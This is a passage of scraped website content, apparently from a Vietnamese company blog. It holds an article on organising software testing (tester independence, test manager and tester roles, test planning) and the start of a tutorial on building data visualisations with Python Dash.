thể phát huy hiệu quả tối đa.",[11,24261,24262],{},"Dưới đây là các mức độ độc lập trong tổ chức kiểm thử, từ thấp đến cao.",[11,24264,24265],{},[20,24266,24267],{},"Không có người kiểm thử độc lập (Trường hợp nhà phát triển chỉ kiểm thử code của chính mình)",[11,24269,24270],{},"Nhà phát triển hiểu rõ cấu trúc bên trong của phần mềm mình tạo ra hơn bất kỳ ai. Vì vậy, nếu tự mình thực hiện thiết kế kiểm thử, họ có thể phát hiện ra nhiều lỗi. Tuy nhiên, nếu họ hiểu sai thiết kế và tạo ra phần mềm, họ có thể không nhận ra lỗi đó. Ngoài ra, khi nhà phát triển kiểm thử code của chính mình, họ có thể dễ dàng bị ảnh hưởng bởi những định kiến và thiên kiến của bản thân, điều này là một thách thức.",[11,24272,24273],{},[20,24274,24275],{},"Kiểm thử bởi các thành viên khác trong nhóm dự án (bao gồm cả việc đánh giá và kiểm thử của đồng nghiệp)",[11,24277,24278],{},"Trường hợp này ám chỉ việc các thành viên trong nhóm dự án, ngoài nhóm phát triển, thực hiện kiểm thử, hoặc các nhà phát triển kiểm thử sản phẩm của đồng nghiệp ngoài mình. Những người này là kỹ thuật viên trong cùng một dự án, nên họ hiểu rõ cấu trúc phần mềm và các yêu cầu kỹ thuật, giúp việc phát hiện lỗi trở nên hiệu quả hơn. Tuy nhiên, do bị áp lực về thời gian và chi phí, việc đảm bảo tính độc lập hoàn toàn trong kiểm thử là rất khó khăn.",[11,24280,24281],{},[20,24282,24283],{},"Đội kiểm thử độc lập trong tổ chức (Đội kiểm thử không thuộc quản lý của dự án)",[11,24285,24286],{},"Trong trường hợp này, việc kiểm thử được thực hiện bởi một đội kiểm thử không phụ thuộc vào dự án mà nhóm phát triển đang thực hiện. Đội này ít bị ảnh hưởng bởi các yếu tố như thời gian và chi phí của dự án, do đó có thể đánh giá chất lượng phần mềm một cách khách quan hơn. Ví dụ, các phòng đảm bảo chất lượng thực hiện việc đánh giá chất lượng theo hình thức này.",[11,24288,24289],{},[20,24290,24291],{},"Kiểm thử độc lập bởi khách hàng hoặc chuyên gia kỹ thuật",[11,24293,24294],{},"Trong mô hình này, người kiểm thử có thể là đại diện của khách hàng hoặc cộng đồng người dùng được cử đi kiểm thử, hoặc là những chuyên gia có kỹ năng đặc biệt trong một lĩnh vực cụ thể. Kiểm thử từ góc nhìn của người dùng sẽ giúp xác nhận phần mềm có đáp ứng được yêu cầu của khách hàng hay không và ít bị ảnh hưởng bởi dự án. Hơn nữa, khi chuyên gia kỹ thuật kiểm thử trong các lĩnh vực chuyên sâu (ví dụ: kiểm thử tính khả dụng hoặc bảo mật), họ có thể sử dụng các kỹ thuật cao để kiểm tra các yêu cầu chất lượng một cách hiệu quả. Các nhà kiểm thử độc lập này có thể là thành viên của tổ chức bên ngoài, thực hiện công việc tại chỗ (insourcing) hoặc từ xa (outsourcing). Những người này thuộc các phòng ban khác hoặc công ty bên ngoài chuyên về kiểm thử, và kiểm thử từ góc nhìn khác với nhà phát triển. Tính độc lập này giúp tạo động lực rõ ràng cho việc phát hiện lỗi trong dự án phát triển phần mềm và mang lại hiệu quả cao. Đối với một số mức kiểm thử, việc thực hiện bởi những chuyên gia độc lập là điều nên làm.",[11,24296,24297],{},"Tuy nhiên, việc chỉ giao toàn bộ công việc kiểm thử cho các nhà kiểm thử là không hợp lý. Các nhà phát triển cũng nên tham gia vào việc cải thiện chất lượng sản phẩm. Đặc biệt trong kiểm thử mức độ thấp, kiến thức và kinh nghiệm của nhà phát triển có thể được phát huy hiệu quả. Cách thức tham gia của người kiểm thử sẽ khác nhau tùy theo quy trình phát triển. Trong phương pháp phát triển Waterfall, nhà phát triển sẽ tạo ra các sản phẩm theo từng giai đoạn, trong khi các nhà kiểm thử độc lập sẽ kiểm thử những sản phẩm này với chuyên môn cao. Còn trong phương pháp Agile, vì chỉ tạo ra các sản phẩm tối thiểu, nên người kiểm thử sẽ tham gia như một phần của đội ngũ phát triển. Trong trường hợp này, kiểm thử sẽ được thực hiện sau mỗi chu kỳ, kiểm tra chất lượng theo từng bước và mở rộng tính năng dần dần. Vì vậy, việc hiểu rõ vai trò của nhà kiểm thử theo từng quy trình phát triển là rất quan trọng.",[11,24299,24300],{},[20,24301,24302],{},"Lợi ích của kiểm thử độc lập",[11,24304,24305],{},"Lợi ích của kiểm thử độc lập là việc kiểm thử từ những góc nhìn và nền tảng kỹ thuật khác nhau sẽ giúp dễ dàng phát hiện ra các loại lỗi khác nhau. Họ cũng có thể kiểm tra các giả định mà các bên liên quan đã đưa ra trong quá trình soạn thảo yêu cầu và triển khai, từ đó phát hiện lỗi sớm. Hơn nữa, những người kiểm thử độc lập không bị ràng buộc bởi cấu trúc bên trong phần mềm và có khả năng chỉ ra các vấn đề từ góc độ của người sử dụng.",[11,24307,24308],{},[20,24309,24310],{},"Nhược điểm của kiểm thử độc lập",[11,24312,24313],{},"Mặc dù có nhiều lợi ích, nhưng kiểm thử độc lập cũng có những nhược điểm. Nếu thiếu sự hợp tác chặt chẽ với nhóm phát triển, có thể sẽ xảy ra tình trạng chậm trễ trong việc chia sẻ thông tin hoặc thậm chí là xung đột. Ngoài ra, cũng có thể gây ra lo ngại về việc giảm bớt trách nhiệm của nhà phát triển trong việc đảm bảo chất lượng phần mềm. Các nhà kiểm thử có thể bị coi là “nút thắt cổ chai” và là nguyên nhân gây chậm trễ trong việc phát hành sản phẩm. Nếu nhà kiểm thử không có đủ thông tin cần thiết, việc kiểm thử sẽ bị trì hoãn, gây ra nguy cơ tiến độ bị đình trệ.",[11,24315,24316],{},[20,24317,24318],{},"Giải quyết các thách thức này",[11,24320,24321],{},"Để vượt qua những thách thức này, nhóm phát triển và đội kiểm thử cần hợp tác chặt chẽ và duy trì mối quan hệ làm việc chặt chẽ. Kiểm thử cần được thực hiện từ cả hai góc độ của nhà phát triển và người kiểm thử, và nếu nhà phát triển hoàn toàn không tham gia vào quá trình kiểm thử, điều này có thể dẫn đến việc giảm chất lượng và bỏ qua các lỗi, dẫn đến chậm trễ trong việc phát hành hoặc tổn thất kinh tế. Tính độc lập không có nghĩa là cách biệt về mặt vật lý, mà là cả hai bên đều có mục tiêu chung là phát triển phần mềm chất lượng cao và hợp tác hiệu quả. Trong phát triển phần mềm, nếu chúng ta tận dụng được lợi ích của kiểm thử độc lập trong khi hiểu và giải quyết được các nhược điểm, thì sẽ tạo ra một quy trình kiểm thử hiệu quả hơn.",[11,24323,24324],{},[20,24325,24326],{},"② Nhiệm vụ của Quản lý Kiểm thử",[11,24328,24329],{},"Quản lý kiểm thử chịu trách nhiệm toàn bộ quy trình kiểm thử, phát huy khả năng lãnh đạo để giám sát các hoạt động kiểm thử và dẫn dắt dự án đến thành công. Vai trò này có thể được đảm nhận bởi các chuyên gia quản lý kiểm thử, cũng như các quản lý dự án, quản lý phát triển, quản lý đảm bảo chất lượng, và nhiều nhân sự khác.",[11,24331,24332],{},"Nhiệm vụ chính của quản lý kiểm thử là xây dựng kế hoạch kiểm thử cho toàn bộ dự án, giám sát các hoạt động kiểm thử dựa trên kế hoạch đó, và điều chỉnh khi cần thiết. Khi quy mô dự án lớn, để giảm bớt gánh nặng, nhiều nhóm kiểm thử có thể được tổ chức, với mỗi nhóm được lãnh đạo bởi một trưởng nhóm kiểm thử. Trong một số trường hợp, người lãnh đạo có thể được chọn từ các thành viên trong nhóm kiểm thử.",[11,24334,24335],{},"Nhiệm vụ chính của trưởng nhóm kiểm thử bao gồm: xây dựng và đánh giá các chính sách và chiến lược kiểm thử của tổ chức, lập kế hoạch dựa trên hiểu biết về mục tiêu kiểm thử và rủi ro của dự án, tạo và cập nhật tài liệu kế hoạch kiểm thử, điều phối với quản lý dự án và chủ sản phẩm, giám sát và báo cáo tiến độ kiểm thử, thực hiện các điều chỉnh kế hoạch và kiểm soát kiểm thử, v.v. Ngoài ra, còn có các công việc quan trọng khác như hỗ trợ triển khai hệ thống quản lý lỗi, xây dựng môi trường kiểm thử, áp dụng các chỉ số phù hợp, lựa chọn và hỗ trợ sử dụng công cụ, nâng cao kỹ năng và phát triển sự nghiệp cho các thành viên kiểm thử.",[11,24337,24338],{},"Bên cạnh đó, quản lý kiểm thử cần điều chỉnh vai trò của mình theo mô hình vòng đời phát triển phần mềm mà dự án áp dụng. Trong phương pháp phát triển Agile, một số nhiệm vụ sẽ được phân công trong nhóm, và các công việc kiểm thử hàng ngày sẽ do các thành viên trong nhóm đảm nhận. Trong khi đó, trong các tổ chức phát triển lớn, các nhiệm vụ liên quan đến nhiều nhóm hoặc các công việc nhân sự sẽ thường được quản lý kiểm thử bên ngoài tổ chức phát triển đảm nhận, và người đảm nhận vai trò này đôi khi được gọi là huấn luyện viên kiểm thử (Test Coach).",[11,24340,24341],{},"Huấn luyện viên kiểm thử sẽ giúp hỗ trợ sự phối hợp và hiệu quả trong toàn bộ tổ chức, bằng cách phân công các nhân sự có kỹ năng cần thiết từ bên ngoài hoặc dẫn dắt các cuộc họp để điều phối giữa các nhóm. Như vậy, vai trò của quản lý kiểm thử thay đổi linh hoạt tùy thuộc vào quy mô dự án và phương pháp phát triển, nhưng luôn đóng vai trò quan trọng trong việc đảm bảo chất lượng của toàn bộ quy trình kiểm thử.",[11,24343,24344],{},[20,24345,24346],{},"③ Vai trò của Người phụ trách Kiểm thử",[11,24348,24349],{},"Các hoạt động kiểm thử như phân tích và thiết kế kiểm thử, tự động hóa kiểm thử, và thực hiện các kiểm thử đặc biệt (ví dụ: kiểm thử bảo mật, kiểm thử hiệu suất) lý tưởng là do các kỹ thuật viên chuyên môn trong từng lĩnh vực đảm nhiệm. Dựa trên các cấp độ kiểm thử và các rủi ro về chất lượng phần mềm, đôi khi các thành viên ngoài đội ngũ kiểm thử chuyên trách cũng có thể tham gia kiểm thử. Ví dụ, khi thực hiện kiểm thử hộp trắng trong kiểm thử thành phần hoặc kiểm thử tích hợp, thường sẽ do các nhà phát triển có hiểu biết sâu về cấu trúc bên trong đảm nhận. Ngoài ra, đối với kiểm thử chấp nhận của người dùng hoặc kiểm thử chấp nhận vận hành, những chuyên gia có kinh nghiệm về người sử dụng thực tế hoặc môi trường sử dụng thường sẽ thực hiện. Đối với kiểm thử chấp nhận vận hành, người chịu trách nhiệm có thể là các nhân viên vận hành hoặc quản trị hệ thống.",[11,24351,24352],{},"Các vai trò chính của người phụ trách kiểm thử bao gồm:",[31,24354,24355,24358,24361,24364,24367,24370,24373,24376,24379,24382,24385,24388],{},[34,24356,24357],{},"Đánh giá kế hoạch kiểm thử và đóng góp vào việc cải tiến kế hoạch đó.",[34,24359,24360],{},"Phân tích, đánh giá, và xem xét các yêu cầu, câu chuyện người dùng, tiêu chí chấp nhận, đặc tả, mô hình (cơ sở kiểm thử) để nâng cao khả năng kiểm thử.",[34,24362,24363],{},"Xác định và tài liệu hóa các điều kiện kiểm thử, thiết lập sự truy xuất giữa các trường hợp kiểm thử, điều kiện kiểm thử, và cơ sở kiểm thử.",[34,24365,24366],{},"Thiết kế môi trường kiểm thử và thực hiện việc thiết lập, kiểm tra (thường phối hợp với các bộ phận quản trị hệ thống hoặc quản lý mạng).",[34,24368,24369],{},"Thiết kế và triển khai các trường hợp kiểm thử và thủ tục kiểm thử.",[34,24371,24372],{},"Tạo và thu thập dữ liệu kiểm thử.",[34,24374,24375],{},"Lập kế hoạch chi tiết về lịch trình thực hiện kiểm thử.",[34,24377,24378],{},"Thực hiện các trường hợp kiểm thử, đánh giá kết quả và ghi nhận bất kỳ sự sai lệch nào nếu kết quả không như mong đợi.",[34,24380,24381],{},"Sử dụng các công cụ thích hợp để tối ưu hóa quy trình kiểm thử.",[34,24383,24384],{},"Tự động hóa kiểm thử khi cần thiết (đôi khi cần sự hợp tác của các nhà phát triển hoặc chuyên gia tự động hóa kiểm thử).",[34,24386,24387],{},"Đánh giá các đặc tính phi chức năng như hiệu suất, độ tin cậy, khả năng sử dụng, bảo mật, tính tương thích và khả năng di chuyển.",[34,24389,24390],{},"Đánh giá các trường hợp kiểm thử do các thành viên khác tạo ra.",[11,24392,24393],{},"Tùy thuộc vào đặc điểm của đối tượng kiểm thử, có thể cần đến kiến thức về thiết kế và thực hiện kiểm thử, cùng với kiến thức về hệ thống đối tượng hoặc kỹ năng chuyên môn trong lĩnh vực kinh doanh. Trong những trường hợp như vậy, sẽ hiệu quả hơn khi có các chuyên gia có kiến thức chuyên sâu về lĩnh vực đó hoặc kỹ năng chuyên môn liên quan đảm nhận vai trò này.",[11,24395,24396],{},[20,24397,24398],{},"Kế hoạch Kiểm thử",[11,24400,24401],{},"Có người hiểu kế hoạch kiểm thử chỉ đơn giản là một lịch trình được lập dựa trên thời gian hoàn thành dự án. Mặc dù lịch trình là một yếu tố quan trọng trong kế hoạch kiểm thử, nhưng chỉ có lịch trình là không đủ. Trong phần này, sẽ được giải thích rằng kế hoạch kiểm thử không chỉ đơn thuần là việc tạo ra một lịch trình, mà còn phải làm rõ mục tiêu và cân nhắc nhiều yếu tố ràng buộc, từ đó tạo thành một kế hoạch kiểm thử thực sự.",[11,24403,24404],{},"Kế hoạch kiểm thử được xây dựng dựa trên mục tiêu của nó. Chủ yếu có hai loại kế hoạch kiểm thử: Kế hoạch kiểm thử tổng thể và Kế hoạch kiểm thử riêng lẻ. Kế hoạch kiểm thử riêng lẻ có thể được lập cho từng cấp độ kiểm thử (ví dụ như kế hoạch kiểm thử hệ thống hoặc kế hoạch kiểm thử chấp nhận) hoặc theo từng loại kiểm thử (ví dụ như kế hoạch kiểm thử hiệu suất hoặc kế hoạch kiểm thử bảo mật).",[11,24406,24407],{},"Kế hoạch kiểm thử tổng thể là kế hoạch quản lý nhiều cấp độ kiểm thử. Kế hoạch này có thể được trình bày như một tài liệu độc lập hoặc có thể được ghi trong phần của kế hoạch dự án. Trong khi đó, các kế hoạch kiểm thử riêng lẻ thường được xây dựng như các tài liệu độc lập cho mỗi loại kiểm thử.",[11,24409,24410],{},[20,24411,24412],{},"Các hạng mục kiểm thử",[11,24414,24415],{},"Hạng mục kiểm thử liệt kê những đối tượng sẽ được kiểm thử. Dưới đây là các hạng mục đó:",[31,24417,24418,24421,24424,24427,24430,24433,24436],{},[34,24419,24420],{},"Hệ thống",[34,24422,24423],{},"Hệ con (Sub-system)",[34,24425,24426],{},"Thành phần (Component)",[34,24428,24429],{},"Đơn vị (Unit)",[34,24431,24432],{},"Giao diện giữa các hệ thống",[34,24434,24435],{},"Giao diện giữa các hệ con",[34,24437,24438],{},"Giao diện giữa các thành phần",[11,24440,24441],{},[20,24442,24443],{},"Phạm vi Kiểm thử",[11,24445,24446],{},"Phạm vi kiểm thử ghi rõ các tính năng sẽ được kiểm thử và những tính năng không được kiểm thử. Đối với những tính năng không được kiểm thử, cần phải ghi rõ lý do tại sao chúng không được thực hiện kiểm thử.",[11,24448,24449],{},[20,24450,24451],{},"Kiểm thử Xác nhận và Kiểm thử Hồi quy",[11,24453,24454],{},"Trong kế hoạch kiểm thử, sẽ ghi rõ các điều kiện để thực hiện kiểm thử xác nhận (Confirmation Test) và kiểm thử hồi quy (Regression Test).",[31,24456,24457,24460],{},[34,24458,24459],{},"Kiểm thử xác nhận: Kiểm thử này xác nhận rằng các thay đổi đã được thực hiện đúng và phần mềm hoạt động như mong đợi.",[34,24461,24462],{},"Kiểm thử hồi quy: Kiểm thử hồi quy thực hiện sau khi có thay đổi trong phần mềm, để đảm bảo rằng các thay đổi không ảnh hưởng đến các phần khác của hệ thống.",[11,24464,24465],{},"Kế hoạch kiểm thử có thể xử lý các kiểm thử này dưới dạng các chu kỳ kiểm thử và định nghĩa các cấp độ kiểm thử hồi quy sẽ được thực hiện sau mỗi thay đổi.",[11,24467,24468],{},[20,24469,24470],{},"Tiến hóa của nội dung kế hoạch kiểm thử",[11,24472,24473],{},"Kế hoạch kiểm thử không phải là một tài liệu cố định mà được cập nhật và phát triển dần theo sự tiến triển của dự án. Khi dự án tiếp tục, thông tin có thể được bổ sung vào kế hoạch kiểm thử, làm cho nó ngày càng chi tiết hơn. Trong suốt quá trình thực hiện kiểm thử, cần nhận thức được sự thay đổi của các rủi ro và điều chỉnh kế hoạch (ví dụ: điều chỉnh lịch trình kiểm thử) để phản ánh những thay đổi đó.",[11,24475,24476],{},[20,24477,24478],{},"Kế hoạch kiểm thử trong vòng đời sản phẩm",[11,24480,24481],{},"Kế hoạch kiểm thử là một hoạt động diễn ra liên tục trong suốt vòng đời của sản phẩm. Vòng đời sản phẩm bắt đầu từ giai đoạn phát triển, qua giai đoạn bảo trì, và kết thúc khi sản phẩm bị loại bỏ. Ngay cả trong giai đoạn bảo trì, các hoạt động liên quan đến kế hoạch kiểm thử vẫn tiếp tục được thực hiện để đảm bảo rằng sản phẩm duy trì chất lượng trong suốt thời gian sử dụng.",[11,24483,24484],{},[20,24485,24486],{},"Các yếu tố cần xem xét khi lập kế hoạch kiểm tra",[11,24488,24489],{},"Khi xây dựng kế hoạch kiểm tra, cần phải xem xét nhiều yếu tố khác nhau. Ví dụ, các mục sau đây cần được xem xét:",[31,24491,24492,24495,24498,24501,24504,24507,24510,24513,24516],{},[34,24493,24494],{},"Chính sách và chiến lược kiểm tra của tổ chức",[34,24496,24497],{},"Vòng đời phát triển và phương pháp đang áp dụng",[34,24499,24500],{},"Phạm vi kiểm tra",[34,24502,24503],{},"Mục tiêu kiểm tra",[34,24505,24506],{},"Rủi ro",[34,24508,24509],{},"Các yếu tố hạn chế",[34,24511,24512],{},"Tầm quan trọng và ưu tiên",[34,24514,24515],{},"Độ dễ dàng khi kiểm tra",[34,24517,24518],{},"Tài nguyên sẵn có",[11,24520,24521],{},"Nếu có các mục kiểm tra được thiết kế tốn nhiều thời gian và công sức, cần phản ánh sự nỗ lực đó vào lịch trình. Hơn nữa, nếu có sự khác biệt về tầm quan trọng hoặc ưu tiên khi thực hiện các mục kiểm tra, lịch trình cũng phải được xây dựng phù hợp.",[11,24523,24524],{},[20,24525,24526],{},"Hoạt động lập kế hoạch kiểm tra",[11,24528,24529],{},"Trong kế hoạch kiểm tra, các hoạt động sau đây sẽ được thực hiện:",[31,24531,24532,24535,24538,24541,24544,24558,24575,24578,24592,24595],{},[34,24533,24534],{},"Xác định phạm vi kiểm tra",[34,24536,24537],{},"Xác định mục tiêu kiểm tra",[34,24539,24540],{},"Xác định các rủi ro",[34,24542,24543],{},"Xem xét và định nghĩa phương pháp tiếp cận kiểm tra",[34,24545,24546,24547],{},"Xác định các yếu tố sau:",[31,24548,24549,24552,24555],{},[34,24550,24551],{},"Cái gì sẽ được kiểm tra",[34,24553,24554],{},"Các nguồn lực con người và tài nguyên khác cần thiết cho các hoạt động kiểm tra khác nhau",[34,24556,24557],{},"Cách thức tiến hành các hoạt động kiểm tra",[34,24559,24560,24561],{},"Lên lịch cho các hoạt động sau:",[31,24562,24563,24566,24569,24572],{},[34,24564,24565],{},"Phân tích kiểm tra",[34,24567,24568],{},"Thiết kế kiểm tra",[34,24570,24571],{},"Thực hiện kiểm tra",[34,24573,24574],{},"Thực hiện kiểm tra và đánh giá các tiêu chí hoàn thành",[34,24576,24577],{},"Chọn các chỉ số (metrics) để giám sát và kiểm soát quá trình kiểm tra",[34,24579,24580,24581],{},"Xác định các yếu tố liên quan đến tài liệu kiểm tra:",[31,24582,24583,24586,24589],{},[34,24584,24585],{},"Mức độ chi tiết của tài liệu kiểm tra",[34,24587,24588],{},"Các loại tài liệu kiểm tra và cấu trúc của chúng",[34,24590,24591],{},"Các mẫu tài liệu và tài liệu mẫu sẽ sử dụng",[34,24593,24594],{},"Xác định ngân sách cho các hoạt động kiểm tra",[34,24596,24597],{},"Vòng đời phần mềm",[11,24599,24600],{},[20,24601,24602],{},"※Bài test kiểm tra:",[11,24604,24605],{},[58,24606,24607],{"href":24607,"rel":24608},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-10-vn",[62],{"title":66,"searchDepth":67,"depth":67,"links":24610},[],"2025-02-10","① Kiểm thử độc lập Khi viết một bài văn, rất dễ để có những lỗi chính tả hoặc sai sót trong cách diễn đạt mà chính tác giả khó nhận ra. Vì vậy, để phát hiện lỗi trong văn bản, việc nhờ người khác ngoài tác giả đọc lại là rất hiệu quả. Điều này là vì những lỗi do sự thiếu tự nhiên trong cách diễn đạt hoặc sai sót do giả định có thể dễ dàng được người khác chỉ ra. Cơ chế này tương tự với mối quan hệ giữa nhà phát triển và người kiểm thử trong phát triển phần mềm.",{},"\u002Fvi\u002Fnews\u002Fto-chuc-kiem-thu",{"title":24240,"description":24612},"vi\u002Fnews\u002Fto-chuc-kiem-thu","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F02\u002F07125742\u002FScreenshot-2025-02-07-125700.png","WbvgjDbbCkY5RXW0RtfvCwTk_0kuBgQ0VMeyW1RtwRA",{"id":24620,"title":24621,"body":24622,"category":1430,"created by":11385,"date":25277,"description":25278,"extension":72,"meta":25279,"navigation":74,"path":25280,"sections":76,"seo":25281,"stem":25282,"thumbnail":25283,"__hash__":25284},"content_vi\u002Fvi\u002Fnews\u002Ftruc-quan-hoa-du-lieu-bang-python-dash.md","Trực quan hóa dữ liệu bằng Python Dash",{"type":8,"value":24623,"toc":25264},[24624,24628,24631,24635,24639,24642,24648,24651,24654,24660,24664,24667,24670,24673,24681,24685,24693,24697,24705,24709,24713,24723,24732,24735,24738,24742,24745,24751,24753,24758,24764,24774,24780,24786,24792,24795,24829,24836,24843,24847,24854,24860,24870,24876,24881,24887,24890,24896,24899,24905,24909,24912,24915,24921,24924,24930,24933,24939,24945,24951,24954,24960,24968,24972,24975,24983,24987,24990,24996,25002,25007,25013,25034,25056,25066,25070,25075,25079,25083,25086,25090,25093,25099,25102,25108,25112,25115,25121,25124,25145,25152,25158,25161,25187,25197,25203,25212,25218,25226,25230,25233,25237,25240,25244,25250,25252,25258],[490,24625,24627],{"id":24626},"giới-thiệu-về-dash","Giới thiệu về Dash",[11,24629,24630],{},"Dash là một thư viện mã nguồn mở được phát hành theo giấy phép MIT. Được viết trên Plotly.js và React.js, Dash lý tưởng cho việc xây dựng và triển khai các ứng dụng dữ liệu với UI (giao diện người dùng) tùy chỉnh. Dash đủ đơn giản để bạn có thể liên kết UI với code của mình trong vòng chưa đầy 10 phút. Ứng dụng Dash được render lên trình duyệt web, vì vậy nó có thể chạy trên đa nền tảng và cả thiết bị di động.",[490,24632,24634],{"id":24633},"hướng-dẫn-sử-dụng-dash","Hướng dẫn sử dụng Dash",[498,24636,24638],{"id":24637},"cài-đặt-dash","Cài đặt Dash",[11,24640,24641],{},"Yêu cầu máy cài sẵn Python 3. Trong terminal chạy lệnh sau để cài đặt Dash:",[696,24643,24646],{"className":24644,"code":24645,"language":701},[699],"pip install dash\n",[703,24647,24645],{"__ignoreMap":66},[11,24649,24650],{},"Với lệnh trên thì ngoài dash, pip cũng sẽ cài đặt thư viện hỗ trợ vẽ đồ thị đó là Plotly.py.",[11,24652,24653],{},"Và cuối cùng chúng ta cần cài đặt thư viện Pandas bằng lệnh:",[696,24655,24658],{"className":24656,"code":24657,"language":701},[699],"pip install pandas\n",[703,24659,24657],{"__ignoreMap":66},[498,24661,24663],{"id":24662},"về-pandas","Về Pandas",[11,24665,24666],{},"Pandas là một thư viện mã nguồn mở được phát hành theo giấy phép BSD. Pandas cung cấp các cấu trúc dữ liệu hiệu suất cao, dễ sử dụng và các công cụ phân tích dữ liệu cho ngôn ngữ lập trình Python.",[11,24668,24669],{},"Pandas cung cấp 2 cấu trúc dữ liệu chính là DataFrame và Series. DataFrame là một cấu trúc dữ liệu 2 chiều có thể lưu trữ dữ liệu thuộc các loại khác nhau (bao gồm ký tự, số nguyên, giá trị dấu phẩy động, dữ liệu phân loại và hơn thế nữa) trong các cột. Mỗi cột trong DataFrame là một Series.",[11,24671,24672],{},"Có ba quy ước phổ biến để lưu trữ dữ liệu dạng cột:",[31,24674,24675],{},[34,24676,24677,24680],{},[20,24678,24679],{},"Dữ liệu dạng dài"," có một hàng cho mỗi quan sát và một cột cho mỗi biến. Dạng này phù hợp để lưu trữ và hiển thị dữ liệu đa biến, tức là với số chiều lớn hơn 2.",[533,24682],{"className":24683,"alt":66,"src":24684,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F12\u002F31142643\u002Flong_form_2.png",[31,24686,24687],{},[34,24688,24689,24692],{},[20,24690,24691],{},"Dữ liệu dạng rộng"," có một hàng cho mỗi giá trị của một trong các biến đầu tiên và một cột cho mỗi giá trị của biến thứ hai. Dạng này phù hợp để lưu trữ và hiển thị dữ liệu 2D.",[533,24694],{"className":24695,"alt":66,"src":24696,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F12\u002F31142738\u002Fwide_form_2.png",[31,24698,24699],{},[34,24700,24701,24704],{},[20,24702,24703],{},"Dữ liệu dạng hỗn hợp"," là kết hợp của dữ liệu dạng dài và dữ liệu dạng rộng.",[533,24706],{"className":24707,"alt":66,"src":24708,"style":568},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F12\u002F31142805\u002Fmixed_form.png",[498,24710,24712],{"id":24711},"dash-layout","Dash Layout",[11,24714,24715,24716,24719,24720,974],{},"Ứng dụng Dash bao gồm hai phần. Phần đầu tiên là \"",[1277,24717,24718],{},"layout","\" của ứng dụng và nó mô tả ứng dụng đó trông như thế nào. Phần thứ hai mô tả khả năng tương tác của ứng dụng, nó là \"",[1277,24721,24722],{},"callbacks\"",[11,24724,24725,24726,24729,24730,595],{},"\"",[1277,24727,24728],{},"Layout","\" là 1 cây tập hợp các \"",[1277,24731,18087],{},[11,24733,24734],{},"Dash cung cấp rất nhiều loại component: Dash HTML Components, Dash Core Components, Dash DataTable, Dash DAQ, Dash Bootstrap Components,...",[11,24736,24737],{},"Trong khuôn khổ của bài viết chúng ta sẽ tìm hiểu Dash HTML Components và Dash Core Components.",[657,24739,24741],{"id":24740},"dash-html-components","Dash HTML Components",[11,24743,24744],{},"Là fuction cung cấp các component kiểu HTML, dùng để định nghĩa các HTML tag cho layout.",[11,24746,24747,24748],{},"Để dùng Dash HTML Components chúng ta cần import vào file .py như sau: ",[703,24749,24750],{},"from dash import html",[11,24752,22255],{},[11,24754,24755],{},[1277,24756,24757],{},"html_demo.py",[696,24759,24762],{"className":24760,"code":24761,"language":701},[699],"import dash\nfrom dash import html\n\napp = dash.Dash(__name__)\n\napp.layout = html.Div(children=[\n   html.H1(children='Hello Dash'),\n])\n\nif __name__ == '__main__':\n   app.run_server(debug=True)\n",[703,24763,24761],{"__ignoreMap":66},[11,24765,24766,24769,24770,24773],{},[703,24767,24768],{},"html.H1(children='Hello Dash')"," sẽ tạo ra ",[703,24771,24772],{},"\u003Ch1>Hello Dash\u003C\u002Fh1>"," trên trình duyệt.",[11,24775,24776,24777,595],{},"Cũng giống như các thẻ HTML tag, chúng ta hoàn toàn có thể thay đổi style của html_component bằng property \"",[1277,24778,24779],{},"style",[11,24781,24782,24783],{},"Ví dụ: ",[703,24784,24785],{},"html.H1('Hello Dash', style={'textAlign': 'center', 'color': '#7FDBFF'})",[11,24787,24788,24789],{},"Đoạn mã trên được hiển thị dưới dạng ",[703,24790,24791],{},"\u003Ch1 style=\"text-align: center; color: #7FDBFF\">Hello Dash\u003C\u002Fh1>",[11,24793,24794],{},"Có một số khác biệt quan trọng giữa Dash HTML Components và các thuộc tính HTML:",[31,24796,24797,24803,24813,24823],{},[34,24798,24799,24800,24802],{},"Thuộc tính \"",[1277,24801,24779],{},"\" trong HTML là một chuỗi được phân tách bằng dấu chấm phẩy. Trong Dash, bạn cần cung cấp một dictionary.",[34,24804,24805,24806,24809,24810,595],{},"Các key trong dictionary là dạng camelCased. Vì vậy, thay vì \"",[1277,24807,24808],{},"text-align","\", trong Dash là \"",[1277,24811,24812],{},"textAlign",[34,24814,24799,24815,24818,24819,24822],{},[1277,24816,24817],{},"class","\" trong HTML là \"",[1277,24820,24821],{},"className","\" trong Dash.",[34,24824,24825,24826,595],{},"Con của thẻ HTML được chỉ định thông qua argument với từ khoá \"",[1277,24827,24828],{},"children",[11,24830,24831,24832],{},"Ngoài ra thay vì dùng style trực tiếp chúng ta có thể dùng file CSS để định nghĩa style cho layout, chi tiết tham khảo: ",[58,24833,24834],{"href":24834,"rel":24835},"https:\u002F\u002Fdash.plotly.com\u002Fexternal-resources",[62],[11,24837,24838,24839],{},"Bạn có thể xem tất cả các component có sẵn trong Dash HTML Components Gallery: ",[58,24840,24841],{"href":24841,"rel":24842},"https:\u002F\u002Fdash.plotly.com\u002Fdash-html-components",[62],[657,24844,24846],{"id":24845},"dash-core-components","Dash Core Components",[11,24848,24849,24850],{},"Bao gồm một tập hợp các thành phần cấp cao hơn như dropdown, checkbox, radio, graph, v.v. Bạn có thể xem tất cả các component có sẵn trong Dash Core Components Gallery: ",[58,24851,24852],{"href":24852,"rel":24853},"https:\u002F\u002Fdash.plotly.com\u002Fdash-core-components",[62],[11,24855,24856,24857],{},"Để dùng Dash Core Components chúng ta cần import vào file .py như sau: ",[703,24858,24859],{},"from dash import dcc",[11,24861,24862,24863,24866,24867,24869],{},"Trong các core component thì \"",[1277,24864,24865],{},"Graph","\" là component quan trọng đối với Trực quan hóa dữ liệu. \"",[1277,24868,24865],{},"\" hiển thị trực quan hóa dữ liệu trên trình duyệt bằng cách sử dụng thư viện javascript vẽ đồ thị mã nguồn mở Plotly.js. Plotly.js hỗ trợ 